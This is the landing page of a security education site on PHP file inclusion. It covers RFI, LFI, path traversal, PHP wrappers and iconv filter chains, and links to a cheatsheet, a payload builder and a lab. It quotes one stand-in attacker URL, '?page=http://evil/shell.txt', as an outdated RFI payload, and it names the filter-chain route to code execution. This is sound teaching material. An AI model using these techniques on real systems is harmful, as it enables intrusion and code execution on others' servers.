File inclusion, accurate for 2026
Remote file inclusion, local file inclusion, path traversal, PHP wrappers, and escalation to code execution — documented against the configurations that actually ship, not the ones that shipped when the technique was new. Every claim here names the runtime, the version, and the config.
34 guides · for authorized security testing and education only.
What actually changed
Classic RFI has been off by default since 2006
allow_url_include has shipped Off since PHP 5.2.0. Every tutorial teaching ?page=http://evil/shell.txt as a current attack is describing an eighteen-year-old configuration.
The null byte died in 2010
PHP 5.3.4 fixed %00 path truncation. It is still the first bypass every cheatsheet suggests, and it has not worked against a supported PHP in over a decade.
php://filter never needed allow_url_include
It runs on a completely stock config. That is why the live escalation path in 2026 is an iconv filter chain, not a remote fetch — no upload, no writable directory, no outbound connection.
Reading a file is not running one
A traversal into file_get_contents is disclosure. The same traversal into include is code execution. Different severity, different fix, and the single most common mix-up in triage.
Tools
Start here: File Inclusion in 2026
What died with allow_url_include, what replaced it, and why most LFI material you will find online is a 2010 cheatsheet with a null byte in it.
Cheatsheet
Which wrapper reaches which sink under each php.ini, plus how the same bug looks in seven runtimes.
Payload Builder
Sink, target, traversal encoding, wrapper, extension bypass. Copy-pasteable output plus a per-configuration verdict on whether it fires.
Filter Chain Generator
Turn a file-read primitive into arbitrary content with an iconv chain. No upload, no writable directory, stock php.ini.
Lab
A simulated include endpoint. Toggle defences and php.ini flags and watch which control actually stops which payload.